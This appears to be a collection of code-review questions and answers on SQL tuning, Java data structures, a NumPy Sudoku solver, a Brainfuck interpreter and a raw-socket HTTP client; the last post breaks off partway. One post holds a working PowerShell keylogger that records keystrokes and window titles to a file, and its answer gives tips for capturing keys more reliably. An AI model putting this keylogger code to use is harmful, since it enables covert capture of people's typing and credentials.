Slow query joining orders and products The end result I am trying to achieve is an array containing the total ordered qty for each product. I have been successful but the query takes about 20 minutes to run and I'm wondering if there is anyone who may know of some way of improving this? The details and current query are as follows:

All columns involved in a join or where clause are indexed.
Tables have been optimized.

orders_table:

2 million rows
duplicate product codes where more than one order has been made for the same product (these can be grouped by product_code and pack_size_ordering_unit)
has product code and barcode

product_table:

300 thousand rows
no duplicates
has product code and barcode
query should be run for products where the distribution route is not 'C'
query can be run for any products within any specified categories

product_pack_sizes:
- 2 million rows
- each product can be ordered in various pack sizes (e.g. 1 store pack of 4 units, 2 pallets of 84 units ect.)
- no duplicates only has barcode

SELECT product_table.ProductCode as product_code, SUM(grouped_store_orders_table.po_qty*product_pack_sizes.pack_size_qty) AS order_qty
FROM (SELECT orders_table.barcode, orders_table.po_qty, orders_table.po_ordering_unit
FROM orders_table
GROUP BY orders_table.barcode, orders_table.po_ordering_unit) AS grouped_store_orders_table
LEFT JOIN product_table
ON product_table.barcode = grouped_store_orders_table.barcode
LEFT JOIN product_pack_sizes
ON grouped_store_orders_table.barcode = product_pack_sizes.barcode AND grouped_store_orders_table.po_ordering_unit = product_pack_sizes.unit_of_measure
WHERE product_table.Category IN (2,3,4,5) AND product_table.DistroRoute <> 'C'
GROUP BY product_table.ProductCode

Execution plan:

id  select_type table   type    possible_keys   key key_len ref rows    Extra
1   PRIMARY <derived2>  ALL NULL    NULL    NULL    NULL    36756   Using temporary; Using filesort
1   PRIMARY product_table   ref barcode,Category    barcode 4   grouped_store_orders_table.article  1   Using where
1   PRIMARY product_pack_sizes  ref article,unit_of_measure article 4   trends.product_table.barcode    3
2   DERIVED orders_table    ALL NULL    NULL    NULL    NULL    2137680 Using temporary; Using filesort

First things first - if you're going to need to maintain SQL, it's best to make it easy to maintain first: start with proper indentation and vertical spacing:

SELECT
     product_table.ProductCode as product_code
    ,SUM(grouped_store_orders_table.po_qty*product_pack_sizes.pack_size_qty) AS order_qty
FROM
    (SELECT
         orders_table.barcode
        ,orders_table.po_qty
        ,orders_table.po_ordering_unit
     FROM orders_table
     GROUP BY
         orders_table.barcode,
         orders_table.po_ordering_unit) AS grouped_store_orders_table
LEFT JOIN product_table
    ON product_table.barcode = grouped_store_orders_table.barcode
LEFT JOIN product_pack_sizes
    ON grouped_store_orders_table.barcode = product_pack_sizes.barcode
    AND grouped_store_orders_table.po_ordering_unit = product_pack_sizes.unit_of_measure
WHERE product_table.Category IN (2,3,4,5)
    AND product_table.DistroRoute <> 'C'
GROUP BY
    product_table.ProductCode;

Aliases should make your life easier - I like dropping the AS keyword since it's not really needed, and I like to keep my aliases short/concise - and don't use them where they're not needed.

You're performing these joins, and then filtering product categories with a where clause; I don't know your data, but you may be able to significantly reduce the amount of rows involved in the join by filtering products first:

LEFT JOIN (SELECT * FROM product_table
           WHERE Category IN (2,3,4,5) AND DistroRoute <> 'C') products
    ON products.barcode = source.barcode


Red-black tree not matching performance of Java's TreeMap This program is for constructing a symbol table where a key is a word and value is the frequency of the word in a text file and finding the word with maximum frequency.

I did it in two ways:

First I used Java's inbuilt TreeMap, which uses a red-black tree as internal data structure.

Then I made my own implementation of red-black tree and did the same thing.But I was lot disappointed when my program came whole lot slower in accomplishing the task. I ran both the programs several times. But still the minimum time of TreeMap was lesser than my own program time by at least 1 million of nano seconds. Also it won every time when I computed average time taken by both. This much time lag makes me ask whether I can improve my implementation of red-black tree about which I am really skeptical.

First method:

import java.util.*;
import java.io.*;
class TREEMAP_APP
{
 public static void main(String []args)throws IOException
 {
     BufferedReader br = new BufferedReader(new FileReader("book.txt"));
     TreeMap<String , Integer> tm = new TreeMap<String , Integer>();
     String S="";
     String []arr;
     String line;
     int max=0;
     long st=System.nanoTime();
     while((line=br.readLine())!=null)
     {
         arr=line.split(" ");

         for(String k:arr)
          if(!tm.containsKey(k))
           tm.put(k,1);
          else
          {
            tm.put(k,tm.get(k)+1);
            if(tm.get(k)>max)
            {S=k;max=tm.get(k);}
          }
     }
     long ft=System.nanoTime()-st;
     System.out.println("time taken is "+ft);
     System.out.println("the word that occurs for the maximum no of times is and it occurs for");
     System.out.println(S+"    "+max);
    }
}

Red-black tree:

import java.io.*;
class REDBLACK
{
 int max=0;String S="";
 public Node insert(Node x,String key)
 {
     if(x==null)
     {
         return new Node(key,1,'R',null,null);
     }
     else if(key.compareTo(x.key)>0)
     {
         x.right=insert(x.right,key);
     }
     else if(key.compareTo(x.key)<0)
     {
         x.left=insert(x.left,key);
     }
     else {x=new Node(key,x.value+1,x.color,x.left,x.right);}

     if(isRed(x.right)&&!isRed(x.left))   x=rotate_left(x);
     else if(isRed(x.left)&&isRed(x.left.left)) x=rotate_right(x);
     else if(isRed(x.left)&&isRed(x.right)) flip_color(x);
     return x;
 }
 public boolean isRed(Node x)
 {
     if(x==null) {return false;}
     if(x.color=='R')
     return true;
     else return false;
 }
 public Node rotate_left(Node x)
 {
     Node y=x.right;
     x.right=y.left;
     y.left=x;
     y.color=x.color;
     x.color='R';
     return y;
 }
 public Node rotate_right(Node x)
 {
     Node y=x.left;
     x.left=y.right;
     y.right=x;
     y.color=x.color;
     x.color='R';
     return y;
 }
 public void flip_color(Node x)
 {
     x.color='R';
     x.left.color='B';
     x.right.color='B';
 }
 public static void main(String []args)throws IOException
 {
   REDBLACK tree1=new REDBLACK();
   Node root=null;
   BufferedReader br=new BufferedReader(new FileReader("book.txt"));
   String []arr;
   String line;
   int max=0;
   long st=System.nanoTime();
   while((line=br.readLine())!=null)
   {
       arr=line.split(" ");
       for(String s:arr)
        root=tree1.insert(root,s);
   }
   long ft=System.nanoTime()-st;
     System.out.println("time taken is "+ft);
   System.out.println("the word with maximum freq is "+Node.S+" and its freq is "+Node.max);
 }
 public void iot(Node x)
 {
     if(x==null)
      return;
     iot(x.left);
     System.out.println(x.key+" "+x.value);
     iot(x.right);
 }
}

class Node
{
 String key;int value;char color;
 Node left,right;static int max=0;static String S="";
 Node(String key,int value,char color,Node l,Node r)
 {
     this.key=key;
     if(value>max)
     {max=value;S=key;}
     this.value=value;
     this.color=color;
     this.left=l;
     this.right=r;
 }
}

My own tests

I ran your program with various inputs, and in all my tests, your red black tree was faster than the TreeMap version.  I even fixed the TreeMap version so that it wouldn't search up to three times for the same word:

        Integer val;
        arr=line.split(" ");

        for(String k:arr) {
            val = tm.get(k);
            if (val == null) {
                tm.put(k,1);
            } else {
                int newVal = val + 1;
                tm.put(k, newVal);
                if (newVal > max) {
                    S = k;
                    max = newVal;
                }
            }
        }

With the above change, the TreeMap version is about 10% slower than your red black tree.  It makes sense that the red black tree version would be faster because in the TreeMap version, you have a get followed by a put for each string.  In your red black tree version, you only have one insert which performs both functions.

Comments on your code

There were several places where I thought you squished your code when you didn't have to.  For example:

 else {x=new Node(key,x.value+1,x.color,x.left,x.right);}

 if(isRed(x.right)&&!isRed(x.left))   x=rotate_left(x);
 else if(isRed(x.left)&&isRed(x.left.left)) x=rotate_right(x);
 else if(isRed(x.left)&&isRed(x.right)) flip_color(x);

and

Node left,right;static int max=0;static String S="";

I feel like you should space your code out and keep your statements on separate lines from the if and else.

Improvement to red black tree

In your red black tree code, where you have this:

 else {x=new Node(key,x.value+1,x.color,x.left,x.right);}

it could be faster if you don't allocate a new node and instead modify the current one.  Also, you could make the insert faster by only calling the comparison function once.  Here is a rewrite of your insert() function that makes your program about 10% faster than before:

public static int max;
public static String S;
public Node insert(Node x,String key)
{
    if (x == null) {
        if (max == 0) {
            max = 1;
            S = key;
        }
        return new Node(key,1,'R',null,null);
    }
    int comparison = key.compareTo(x.key);
    if (comparison > 0) {
        x.right = insert(x.right,key);
    } else if (comparison < 0) {
        x.left = insert(x.left,key);
    } else {
        x.value++;
        if (x.value > max) {
            max = x.value;
            S = key;
        }
    }
    if (isRed(x.right) && !isRed(x.left)) {
        x = rotate_left(x);
    } else if (isRed(x.left) && isRed(x.left.left)) {
        x = rotate_right(x);
    } else if (isRed(x.left) && isRed(x.right)) {
        flip_color(x);
    }
    return x;
}

Try HashMap instead

What I think you are missing is that a HashMap is faster than both the TreeMap and the red black tree.  I replaced the TreeMap with a HashMap and the result was about 50% faster than the TreeMap and about 25% faster than the improved red black tree.


Sudoku solver using NumPy I come from the R language and I gradually switch to Python (Numpy and Pandas). I coded this python code for fun to solve a Sudoku grid. Could you tell me if my code is pythonic enough? For example, did I use the numpy functions correctly. How to make the code more readable?

import numpy as np
from functools import reduce

def solver_python(grid):
    numbers=np.arange(1,10)
    i,j = np.where(grid==0)
    if (i.size==0):
        return(True,grid)
    else:
        i,j=i[0],j[0]
        row = grid[i,:]
        col = grid[:,j]
        sqr = grid[(i//3)*3:(3+(i//3)*3),(j//3)*3:(3+(j//3)*3)].reshape(9)
        values = np.setdiff1d(numbers,reduce(np.union1d,(row,col,sqr)))

        grid_temp = np.copy(grid)

        for value in values:
            grid_temp[i,j] = value
            test = solver_python(grid_temp)
            if (test[0]):
                return(test)

        return(False,None)

example = np.array([[5,3,0,0,7,0,0,0,0],
                    [6,0,0,1,9,5,0,0,0],
                    [0,9,8,0,0,0,0,6,0],
                    [8,0,0,0,6,0,0,0,3],
                    [4,0,0,8,0,3,0,0,1],
                    [7,0,0,0,2,0,0,0,6],
                    [0,6,0,0,0,0,2,8,0],
                    [0,0,0,4,1,9,0,0,5],
                    [0,0,0,0,8,0,0,7,9]])

Overall this is a really good approach.  There is one main thing you can do to improve the implementation of this algorithm.  You are copying the array at each level of recursion, but it is unnecessary in this case.  Instead try an in-place approach.  This improves cache locality and saves the tiniest amount of memory.
Secondly, things like (i//3)*3:(3+(i//3)*3) can be confusing.  Extracting out a variable name puts less burden on the reader and optimizer as (i//3)*3 is repeated.
You can also break the function up into smaller functions, but where you draw the line is up to you.  Your use of reduce here is extremely readable and elegant way of implementing this algorithm.  There are better algorithms for solving Sudoku, but since brute force is so fast, this is a good choice for its simplicity.
Here is an example:
import numpy as np
from functools import reduce

def get_candidates(search_space):
    return np.setdiff1d(np.arange(1, 10), reduce(np.union1d, search_space))

def solve(board):
    missing = get_missing(board)

    if not had_missing(missing):
        return True

    missing_col = get_missing_col(missing)
    missing_row = get_missing_row(missing)

    search_space = (
            get_col(board, missing_col),
            get_row(board, missing_row),
            get_square(board, missing_col, missing_row)
        )

    for candidate in get_candidates(search_space):
        board[missing_row, missing_col] = candidate
        if solve(board):
            return True

    board[missing_row, missing_col] = 0
    return False

def get_col(board, idx):
    return board[:, idx].reshape(9)

def get_row(board, idx):
    return board[idx, :].reshape(9)

def get_square(board, col, row):
    col = col // 3 * 3
    row = row // 3 * 3
    return board[row:row+3, col:col+3].reshape(9)

def get_missing(board):
    return np.where(board == 0)

def had_missing(missing):
    return len(missing[0])

def get_missing_col(missing):
    return missing[1][0]

def get_missing_row(missing):
    return missing[0][0]

board = np.array([
    [5,3,0, 0,7,0, 0,0,0],
    [6,0,0, 1,9,5, 0,0,0],
    [0,9,8, 0,0,0, 0,6,0],

    [8,0,0, 0,6,0, 0,0,3],
    [4,0,0, 8,0,3, 0,0,1],
    [7,0,0, 0,2,0, 0,0,6],

    [0,6,0, 0,0,0, 2,8,0],
    [0,0,0, 4,1,9, 0,0,5],
    [0,0,0, 0,8,0, 0,7,9]
])

solve(board)
print(board)
```


Calculating multiple car prices from a file - follow-up My application needs to read a file, which includes a list of cars from different factories, and calculate the prices (by this I mean mean add up their prices).

I suppose my solution is efficient.  Is there any better approach to it?

 String factories = "Benz,10000,BMW,3000,Benz,5,Toyota,500,BMW,50000,RR,100000,BMW,100000,Jaguar,100000,Benz,4,Next,100,Benz,3,Benz,2,Benz,1,Toyota,100000,Polo,10,Gall,1000";
        String[] fac = factories.split(",");
        List<Company> trn = new ArrayList();
        for(int i=0;i<fac.length-1;i=i+2){
            trn.add(new Company(fac[i],fac[i+1]));
        }
        Map<String, BigDecimal> map = new HashMap();

        BigDecimal counter = new BigDecimal("0");
        BigDecimal target = new BigDecimal("10000");
        for (Company c : trn) {
            String name = c.getName();
            if (!map.containsKey(name)) {
                counter = new BigDecimal("0");
                for (Company com : trn) {
                    if (com.getName().equalsIgnoreCase(name)) {
                        counter = counter.add(com.getPrice());
                        if ((counter.compareTo(target)) == 1) {
                            map.put(name, counter);
                        }

                    }
                }

            }
        }
        Set<String> set = map.keySet();
        System.err.println(">>" + set.toString());

Output

[RR, Toyota, BMW, Jaguar, Benz]

List<Company> trn = new ArrayList();

You're missing the <> (or <Company> if you're using JDK6 or below) on the right, which means the right side is a raw type and not a generic. Your IDE should be configured to warn you about this.

In addition, what does trn mean? It's completely unclear even from context. You should almost never use abbreviations unless they're industry-standard, and maybe not even then.

Map<String, BigDecimal> map = new HashMap();

This is also a raw type. Its name also tells me nothing. What are you mapping? A better name would be mapTotalPriceByFactoryName, or just totalPriceByFactoryName.

BigDecimal counter = new BigDecimal("0");

BigDecimal has a constant for this, BigDecimal.ZERO. Use it here and below.

for (Company c : trn) {

Another unnecessary abbreviation - call the loop variable company.

counter = new BigDecimal("0");

Is this actually a counter? It seems like a summation, and should be called something like totalPrice accordingly.

if (com.getName().equalsIgnoreCase(name)) {
    counter = counter.add(com.getPrice());
    if ((counter.compareTo(target)) == 1) {
        map.put(name, counter);
    }
}

This code is unclear to me. Why equalsIgnoreCase instead of just equals - do we expect the input file to be inconsistent with itself? That seems like an important caveat to call out in comments.

The behavior of the counter is also very unclear. You only want to store factories with a total price of at least 10000? It would be simpler to do the summation in one step, then filter out the unwanted factories in a subsequent step.

Set<String> set = map.keySet();
System.err.println(">>" + set.toString());

Here you never refer back to the values stored in the map. If you're not going to refer back to them, you might as well just use a List.

As an example, here's how I would store the prices:

Map<String, BigDecimal> map = new HashMap<>();
for (Company company : companies) {
    String name = company.getName();
    if (!map.containsKey(name)) {
        map.put(name, BigDecimal.ZERO);
    }

    BigDecimal totalPrice = map.get(name).add(company.getPrice());
    map.put(name, totalPrice);
}

This becomes an O(N) algorithm instead of the O(N^2) algorithm you're using currently. You can then post-process the map to filter out the companies you aren't interested in.


Improve randomization function (from 1 to 2) I am trying to do a randomize function.  It randomly selects one person (from two) to insert something into the console.  The second person goes next, and then they keep alternating until the loop ends.

  randomize();
  RandomTurn := random(2)+1;
  while (1) do
  begin
      if RandomTurn = 1 then
        PersonTurn((NumberOfMoves mod 2)+1)
      else
        PersonTurn(round(2/((NumberOfMoves mod 2)+1)));

      NumberOfMoves := NumberOfMoves + 1;
  end;

What do you think? How could this function be improved based on number of moves/user inputs?

Randomness

This answer suggests that Random(2) would be okay for most uses. If you want more randomness, you could for example use an implementation of Mersenne Twister. This page lists a few options for Pascal/Delphi, for example this implementation.

Alternating values

Now that I know what you are looking for, I would write the code like this:

// If Value is divisible by 2 then return 1, otherwise return 2
procedure AlternateValue(Value) : ShortInt;
begin
    if Value mod 2 = 0 then Result := 1 else Result := 2
end;

// Your code
randomize();
RandomTurn := random(2)+1;
NumberOfMoves := RandomTurn

while (1) do
begin
    PersonTurn(AlternateValue(NumberOfMoves))
    NumberOfMoves := NumberOfMoves + 1;
end;

You should swap the two lines in the while loop if you want to start with the same number as Random gives. From what I gather, it should not matter much, however.

(I have never written any Pascal or Delphi before, so the code and/or syntax may not be perfect or correct.)


Powershell GetKeystate with outfile I got a keylogger Powershell script to protocol my input, since I'm quite paranoid if someone uses my PC.

However, some letters (I have an anti-ghosting keyboard) are swallowed if I type them in fast. Does anyone see a bottleneck here? I believe it's either the fact that:

it can't recognize keys pressed at the same time, or
The Out-File causes the bottleneck so it doesnt write fast enough.

My question is, how I improve it to capture ALL key inputs?

function KeyLog {

    $MAPVK_VK_TO_VSC = 0x00

    $MAPVK_VSC_TO_VK = 0x01

    $MAPVK_VK_TO_CHAR = 0x02

    $MAPVK_VSC_TO_VK_EX = 0x03

    $MAPVK_VK_TO_VSC_EX = 0x04

    $virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'@

    $kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@

    $mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@

    $tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
    $foreground_sig=@'
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
'@

    $getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
    $getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
    $getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
    $getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
    $getForeground = Add-Type -MemberDefinition $foreground_sig -name "Win32MyForeground" -namespace Win32Functions -passThru
    while ($true) {
        Start-Sleep -Milliseconds 40
        $gotit = ""

        for ($char = 1; $char -le 254; $char++) {
            $vkey = $char
            $gotit = $getKeyState::GetAsyncKeyState($vkey)

            if ($gotit -eq -32767) {

                $l_shift = $getKeyState::GetAsyncKeyState(160)
                $r_shift = $getKeyState::GetAsyncKeyState(161)
                $caps_lock = [console]::CapsLock

                $scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)

                $kbstate = New-Object Byte[] 256
                $checkkbstate = $getKBState::GetKeyboardState($kbstate)

                $mychar = New-Object -TypeName "System.Text.StringBuilder";
                $unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

                if ($unicode_res -gt 0) {
                try {
                $ActiveHandle = $getForeground::GetForegroundWindow()
                $Process = Get-Process | ? {$_.MainWindowHandle -eq $activeHandle}

                $Process | Select ProcessName, @{Name="AppTitle";Expression= {($_.MainWindowTitle)}}

                $title = $Process.MainWindowTitle
                $logfile = "key.log"
                    $timestamp = (Get-Date -format MM/dd/yy` hh:mm:ss)

                    Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject "$timestamp | $title | $mychar "
                } catch {
                 Write-Error "Failed to get active Window details. More Info: $_"
                }

                }
            }
        }
    }
}

KeyLog

Some thougts:

above all, using a user-level code pulling keyboard state periodically is much less reliable then kernel-level driver which OS pushes key events to
40 milliseconds sleep is much too high
if you could open the file handle once instead of each time a key is pressed, you'd get a significant performance boost, at the cost of taking care to close file after the script stops
if you could do file writing asynchronously (e.g. in a dedicated thread or leveraging an async API), this would reduce the risk of missing a key press because of I/O blocking
using a sound timer API allows resolution much better than what is achievable with thread sleeps
maybe it's worth increasing priority of the keylogger process, to reduce the risk of missing key due to thread context switch

(thanks Sam for your corrections)


BF interpreter written in C# I have recently written a Brainfuck interpreter in C#. I tested it with the examples given on EsoLang website. It does not handle errors right now.

Questions:

Even that it can run only one program at once, should I maybe put the variables into the class (create new class) or just leave them inside the BF method?
Should I split all of the code from the cases and create separate methods for them, accessing them from the switch?

Of course, I am also looking for all other suggestions on how I can improve this code.

using System;

namespace BF
{
    class MainClass
    {
        public static void Main(string[] args)
        {
            if (args.Length == 0) {
                Console.WriteLine("Specify the source file!");
            } else {
                if (System.IO.File.Exists(args[0]) == true) {
                    BF(System.IO.File.ReadAllText(args[0]).ToCharArray());
                } else {
                    Console.WriteLine("The path to the file is not valid!");
                }
            }

        }

        private static void BF(char[] instructions)
        {
            int instructionPointer = 0;

            int[] memory = new int[30000];

            int pointer = 1;

            while (instructionPointer < instructions.Length) {

                switch (instructions[instructionPointer]) {

                    case '>': {
                            pointer += 1;
                            break;
                        }

                    case '<': {
                            pointer -= 1;
                            break;
                        }

                    case '+': {
                            memory[pointer] += 1;
                            break;
                        }

                    case '-': {
                            memory[pointer] -= 1;
                            break;
                        }

                    case '.': {
                            Console.Write((char)memory[pointer]);
                            break;
                        }

                    case ',': {
                            memory[pointer] = byte.Parse(Console.Read().ToString());
                            break;
                        }
                    case '[':
                        {
                        if (memory[pointer] == 0) {
                            int s = 0;
                            int ptr = instructionPointer + 1;
                            while (instructions[ptr] != ']' || s > 0) {
                                if (instructions[ptr] == '[') {
                                    s += 1;
                                } else if (instructions[ptr] == ']') {
                                    s -= 1;
                                }
                                ptr += 1;
                                instructionPointer = ptr;
                                }
                            }
                            break;
                        }

                    case ']': {
                            if (memory[pointer] != 0) {
                                int s = 0;
                                int ptr = instructionPointer - 1;
                                while (instructions[ptr] != '[' || s > 0) {
                                    if (instructions[ptr] == ']') {
                                        s += 1;
                                    } else if (instructions[ptr] == '[') {
                                        s -= 1;
                                    }
                                    ptr -= 1;
                                    instructionPointer = ptr;
                                }
                            }
                            break;
                        }
                }

                instructionPointer += 1;

            }

        }
    }
}

int pointer = 1;

Looks like you're throwing away memory[0] here; I'd expect the pointer to initialize at the very start of the "tape".

if (System.IO.File.Exists(args[0]) == true)

The == true part is redundant, and the fully-qualified File.Exists feels... crowded. I'd remove System.IO. and add using System.IO; at the top of the file.

Arguably if no argument is specified, you should be throwing some ArgumentException instead of just saying "specify the source file" and exiting with a code-0, which would be interpreted as a successful run. Such a guard clause would help reduce nesting in the Main procedure:

    public static void Main(string[] args)
    {
        if (args.Length == 0)
        {
            throw new ArgumentException("No source file was specified.");
        }
        if (!File.Exists(args[0]))
        {
            throw new FileNotFoundException("Specified source file was not found.");
        }

        BF(System.IO.File.ReadAllText(args[0]).ToCharArray());
    }

Notice the consistency with brace positioning; your code alternates between C#-style and Java-style braces, depending on whether we're looking at a member or its body - it really doesn't matter which one you prefer, but pick a style, and stick to it.

"BF" might perhaps possibly make a [bad] class name - it's a noun. But here BF is a method, and methods do something, they're verbs. Interpret or even Run would be a better choice.

BF is a simple language; you don't need to go out of your way and implement a lexer to tokenize input and a parser to make sense out of it - basically every single character is an instruction, so it makes sense to process it one character at a time.

But is it ideal to read an entire file's contents, iterate every single character to create a character array, and then pass that array to a method that will iterate it one item at a time? Seems rather inefficient, considering you could be streaming the file content into the interpreter, and finish interpreting the BF program as you finish reading the last character in the file, having iterated the contents exactly once.

I think I'd make a separate dedicated class for the interpreter, with the pointer and memory[] as instance fields; I'd make a Dictionary<char, Action> to map each BF token to a dedicated method, too.


Basic Singly Linked List Implementation Purpose

I wanted to try and implement a very basic Singly Linked List as a data structure exercise.

Implementation Discussion

I know that the Java LinkedList API is quite
extensive. However, in this basic implementation, I just wanted to implement the addAtIndex, removeAtIndex, and
get methods (with the add and remove methods delegating to the addAtIndex and removeAtIndex methods).

Things that I could improve

For the addAtIndex and removeAtIndex methods I special-case when the index is 0 - is there a more elegant solution?
Do the exceptions make sense?

For the remove method should I check to see if the list is empty and then throw an
IllegalStateException before calling the removeAtIndex method? Same thing for the get method?
Should I replace the IllegalArgumentExceptions with IndexOutOfBoundExceptions?

Implementation

import java.util.Objects;

public class SinglyLinkedList<T> {

    public static class Node<E> {
        private final E data;
        private Node<E> next;

        public Node(E data, Node<E> next) {
            this.data = data;
            this.next = next;
        }

        public E getData() {
            return this.data;
        }

        public Node<E> getNext() {
            return this.next;
        }

        public void setNext(Node<E> next) {
            this.next = next;
        }

        @Override
        public int hashCode() {
            return Objects.hash(this.data, this.next);
        }

        @Override
        public boolean equals(Object obj) {
            if (obj == this) {
                return true;
            }

            if (!(obj instanceof Node)) {
                return false;
            }

            Node node = (Node) obj;

            return Objects.equals(this.data, node.data) &&
                    Objects.equals(this.next, node.next);
        }
    }

    private Node<T> head = null;
    private int size = 0;

    public SinglyLinkedList() {
    }

    public int getSize() {
        return this.size;
    }

    public boolean isEmpty() {
        return this.getSize() == 0;
    }

    public Node<T> getHead() {
        return this.head;
    }

    public void add(T data) {
        this.addAtIndex(data, this.size);
    }

    public void remove() {
        this.removeAtIndex(this.size - 1);
    }

    public void addAtIndex(T data, int index) {
        if (index > this.size || index < 0) {
            throw new IllegalArgumentException("Invalid index value");
        }

        Node<T> currentNode = this.head;

        if (index == 0) {
            this.head = new Node<>(data, currentNode);
        } else {
            for (int i = 0; i < index - 1; i++) {
                currentNode = currentNode.getNext();
            }

            Node<T> nextNode = new Node<>(data, currentNode.getNext());
            currentNode.setNext(nextNode);
        }

        this.size++;
    }

    public void removeAtIndex(int index) {
        if (index < 0 || index >= this.size) {
            throw new IllegalArgumentException("Invalid index value");
        }

        Node<T> currentNode = this.head;

        if (index == 0) {
            this.head = currentNode.getNext();
        } else {
            for (int i = 0; i < index - 1; i++) {
                currentNode = currentNode.getNext();
            }

            currentNode.setNext(currentNode.getNext().getNext());
        }

        this.size--;
    }

    public T get(int index) {
        if (index < 0 || index >= this.size) {
            throw new IllegalArgumentException("Invalid index value");
        }

        Node<T> currentNode = this.head;

        int count = 0;
        while (count < index) {
            currentNode = currentNode.getNext();
            count++;
        }

        return currentNode.getData();
    }

}

I think it's looking pretty good so far!

A few things,

I would make the Node class private. This is an implementation detail and nobody using your list should need to know or worry about it. I would also remove any public facing methods that return a Node over a T. If you want them internally you can make them private. (The built in Java LinkedList uses a private Node class but we don't need to worry about it)

You could remove a lot of boiler plate getters and setters by making the Node class private. You can access the fields directly within your SinglyLinkedList class.

When someone passes in a bad index, I would prefer and IndexOutOfBoundsException over IllegalArgumentException. (this is what java.util.Lists do afterall)

As well as this, I'd also like to see a more descriptive exception message. Maybe say which index was used, and what the current size is of the list.

You've overridden equals and hashCode in your node class which is usually a good thing to do in general, but here you don't really need it. However you may like to keep it if you end up adding additional functionality that may rely on it.

I think special casing index 0 is perfectly fine. 2 distinct things happen depending on it being the first element or any subsequent one.

A nice toString method would also be good here, you could just use a StringBuilder or StringJoiner to do this easily.


Construct and send an HTTP get request from scratch and print all the received data to the screen My concerns:
Is the code pythonic?
Does the receive_all function make the code any cleaner or should that functionally be apart of the get function?

import socket
import urlparse

CONNECTION_TIMEOUT = 0.30
CHUNK_SIZE = 1024
socket.setdefaulttimeout = CONNECTION_TIMEOUT
CRLF = "\r\n\r\n"

def receive_all(sock, chunk_size=CHUNK_SIZE):
    '''
    Gather all the data from a request.
    '''
    chunks = []
    while True:
        chunk = sock.recv(chunk_size)
        if chunk:
            chunks.append(chunk)
        else:
            break

    return repr(''.join(chunks))

def get(url, timeout=CONNECTION_TIMEOUT, chunk_size=CHUNK_SIZE):
    url = urlparse.urlparse(url)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(timeout)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.connect((url.netloc, url.port or 80))
    sock.send('GET {0} HTTP/1.0 {1}'.format(url.path or '/', CRLF))
    data = receive_all(sock)
    sock.shutdown(1)
    sock.close()
    return data

print(get('http://www.google.com/robots.txt', chunk_size=65535))

Review

  Is the code pythonic?

The code looks quite clean to me, but it never gets pythonic enough ;)

Some PEP-8 issues:

Don't mix single and double quotes;1
Leave two blank lines between the constants and the first function / class definition.2

Don't use repr(): repr() is meant to get a printable (human readable)
version of an object. In this case, you don't even need to modify the chunks in any way, because they are already of the correct type (str).
You should consider a longer connection timeout. I find a second to be acceptable, but this of course depends on your use case.
There's usually no reason to set socket.SO_REUSEADDR. Regardless, doing so only has an effect if you bind the socket to an address after having done so.
socket.socket.send() does not guarantee that all of what you passed it was sent, instead, it returns the number of bytes sent. You may want to put that part in a loop to assure all data was sent. Or consider socket.socket.sendall().
If you choose to explicitly call socket.socket.shutdown(), make sure you get the argument right. 1 corresponds to socket.SHUT_WR, but you need to prevent reading and writing. Use module constants! socket.SHUT_RDWR is the answer.
I see you added a docstring for receive_all(). That's a nice start, but the docstring is a little generic. A more elaborate description of the arguments and return type and value would be helpful. The same goes for get(). If this were a library, get() would be part of the API, so documenting it should be a priority.

Make sure the documentation is accurate. 'Gather all the data from a request' makes it sound like the socket already made a request and the function merely modifies the response in some way and then returns it. That may give people the false impression that the function has no side effects, but it does!
Let's say you extend this piece of code, and add more helper functions. If one of them raises an exception, the socket is never closed, and you leave the server hanging. Luckily, Python sockets provide context manager capabilities out of the box. That means we can make sure resources are cleaned up:

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.settimeout(timeout)
    ...
return data

Turns out this has only been a feature since Python 3.2. One of the many reasons to switch to Python 3. Are you being forced to work with Python 2? A try / finally is probably the closest we can get:

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(timeout)
    ...
finally:
    sock.shutdown(socket.SHUT_RDWR)
    sock.close()

  Does the receive_all function make the code any cleaner or should that functionally be apart of the get function?

It's a good idea to extract functionality and put it in its own function, so yes, it does make the code cleaner. Should you be a big fan of OOP, a custom socket class extending from socket.socket, with a receive_all() method, would be the solution.

My take on it

import socket
import urlparse

CONNECTION_TIMEOUT = 0.30
CHUNK_SIZE = 1024
CRLF = "\r\n\r\n"

socket.setdefaulttimeout(CONNECTION_TIMEOUT)

def receive_all(sock, chunk_size=CHUNK_SIZE):
    """Receive all data from a socket, until EOF is reached.

    Arguments:
      - sock (socket.socket): The socket to receive from. This socket must
        be in a valid state, where it can receive data.
      - chunk_size (int) = 1024: The size of the chunks to receive, in
        bytes. Commonly a multiple of 2 (1024, 2048, 4096). When in doubt,
        do not change.

    Return:
      - (str) All the data received.
    """
    chunks = []
    while True:
        chunk = sock.recv(chunk_size)
        if chunk:
            chunks.append(chunk)
        else:
            break
    return "".join(chunks)

def get(url, timeout=CONNECTION_TIMEOUT, chunk_size=CHUNK_SIZE):
    """Get the HTTP response from a webserver.

    Arguments:
      - url (str): A URL (optionally with a scheme attached).
      - timeout (int / float) = 0.3: The number of seconds to wait before
